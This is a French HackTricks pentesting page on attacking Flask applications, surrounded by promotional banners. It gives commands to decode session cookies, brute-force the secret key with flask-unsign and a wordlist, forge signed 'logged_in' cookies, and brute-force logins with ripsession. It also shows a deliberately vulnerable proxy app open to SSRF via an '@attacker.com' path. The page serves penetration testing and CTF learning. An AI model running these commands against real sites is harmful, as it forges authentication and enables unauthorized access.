6.1 KiB
Flask
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Probablement si vous participez à un CTF, une application Flask sera liée à SSTI.
Cookies
Le nom de session de cookie par défaut est session
.
Décodeur
Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi
Manuel
Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64.
echo "ImhlbGxvIg" | base64 -d
Le cookie est également signé à l'aide d'un mot de passe
Flask-Unsign
Outil en ligne de commande pour récupérer, décoder, effectuer une attaque par force brute et créer des cookies de session d'une application Flask en devinant les clés secrètes.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Décodez le Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
Brute Force is a technique used to gain unauthorized access by trying all possible combinations of usernames and passwords until the correct one is found.
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Signature
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signature en utilisant des versions obsolètes (anciennes)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Outil en ligne de commande pour effectuer une attaque par force brute sur des sites web en utilisant des cookies créés avec flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
Injection SQL dans le cookie de session Flask avec SQLmap
Cet exemple utilise l'option eval
de sqlmap pour signer automatiquement les charges utiles de sqlmap pour Flask en utilisant un secret connu.
Proxy Flask vers SSRF
Dans cette explication, il est expliqué comment Flask permet une requête commençant par le caractère "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Quel est le scénario suivant:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Pour permettre d'introduire quelque chose comme "@attacker.com" afin de provoquer un SSRF.
Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.